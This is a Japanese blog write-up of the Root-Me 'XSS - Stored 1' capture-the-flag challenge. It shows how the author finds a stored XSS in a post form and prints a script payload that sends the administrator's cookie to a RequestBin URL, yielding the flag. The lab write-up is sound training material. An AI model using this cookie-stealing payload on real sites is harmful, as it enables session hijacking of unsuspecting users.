Marsの5εcur1ty備忘録

不定期的にCTF、脆弱性検証、バグバウンティレポート分析など、情報セキュリティを中心とした技術ブログを更新します。

rootme: XSS - Stored 1 writeup(Japanese)

Statement Steal the administrator session cookie and use it to validate this chall.

URL:

https://www.root-me.org/en/Challenges/Web-Client/XSS-Stored-1

この問題は、Stored XSS脆弱性によって他人のクッキーを盗む過程を実際に体験できる良問です。

投稿フォームに適当に投稿すると、投稿内容が下に表示されます。

f:id:z773733850:20190417181931p:plain

XSS脆弱性が発生する箇所は早速見つかりました。

投稿タイトルの下に投稿内容の部分がXSSにひっかかるようです。
ちなみに両方の入力欄にXSSペイロードを入れるとXSSが動作しなくなります。

そこで、XSSペイロードを作ります。

Web管理者のクッキーを盗むわけですので、Web管理者がStored XSSコードを注入されたサイトにアクセスしないとクッキーを盗むことができません。

それで我々が考えられるのは、
この問題で用意された管理者サーバから定期的にこのサイトにアクセスしているかもしれません。

アクセスごとに埋め込むコードを自動的に実行させるには、imgタグにjavascriptを使うと便利です。
つまり、imgタグ(悪意URL+クッキー)によって悪意のURLにクッキー情報を含んだリクエストを送り、
その悪意のURLを管理しているサーバのログからクッキー情報を取り出します。

しかし、わざわざこの攻撃のために皆さんにWebサイトを開設させる必要はありません。
Webサイトのドメインを生成し、リクエストの内容をリアルタイムで監視できるサービスがあります。

ここで紹介するのは、「Requestbin」というサービスです。

requestbin.com

Webドメインの作り方は簡単で、1つのボタンをクリックするだけで完成です。 f:id:z773733850:20190417183638p:plain

「Create a Request Bin」ボタンをクリックし、自動的に管理画面に入ります。

f:id:z773733850:20190417183850p:plain

とりあえずコピーして投稿欄にペーストします。

f:id:z773733850:20190417184053p:plain

Payload

<script>document.write("<img src='あなたのサイトURL?="+document.cookie+"';>")</script>

Payloadを投稿欄に入力し終わると、sendボタンを押します。投稿が成功すると、投稿された内容は以下のように表示されます。 (ChromeXSS保護機能があるので、投稿できません。おすすめはMicrosoft Edgeなど)

f:id:z773733850:20190417185135p:plain

しばらく経つと、Requestbinの管理ページにADMIN_COOKIEを含むリクエストログ情報が届きます。
ADMIN_COOKIEの中身がフラグです。

f:id:z773733850:20190417184933p:plain

Copyright Mars 2019